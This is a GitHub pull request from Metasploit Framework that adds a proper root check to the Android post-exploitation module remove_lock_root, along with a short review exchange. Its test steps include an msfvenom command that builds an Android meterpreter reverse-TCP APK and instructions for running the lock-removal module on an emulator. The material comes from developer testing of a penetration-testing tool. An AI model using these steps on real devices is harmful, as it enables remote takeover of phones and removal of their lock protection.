Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Properly check root for remove_lock_root (android post module) #5949

Merged
merged 2 commits into from Sep 11, 2015

Conversation

wchen-r7
Copy link
Contributor

@wchen-r7 wchen-r7 commented Sep 8, 2015

This uses the Msf::Post::Android::Priv mixin for android post module remove_lock_root.

To verify:

  • Start an android emulator
  • ./msfvenom -p android/meterpreter/reverse_tcp lhost=IP lport=4444 -o /tmp/android.apk
  • Start a handler for android/meterpreter/reverse_tcp in msfconsole
  • tools/install_msf_apk.sh /tmp/android.apk, this should install the meterpreter apk and give you a session.
  • At the meterpreter prompt, do run post/android/manage/remove_lock_root
  • You should get an error saying: "This module requires root permissions". If you're root, then you shouldn't see that error.

This uses the Msf::Post::Android::Priv mixin.
@wchen-r7 wchen-r7 added the module label Sep 8, 2015
@wvu wvu self-assigned this Sep 10, 2015
@@ -4,11 +4,12 @@
##

require 'msf/core'
require 'rex'
require 'msf/core/post/android'
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Think it's worth adding this to lib/msf/core/post.rb? Looks like it was forgotten.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

oops, yup. I forgot...

wvu added a commit to wvu/metasploit-framework that referenced this pull request Sep 11, 2015
@wvu wvu merged commit f2ccca9 into rapid7:master Sep 11, 2015
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

2 participants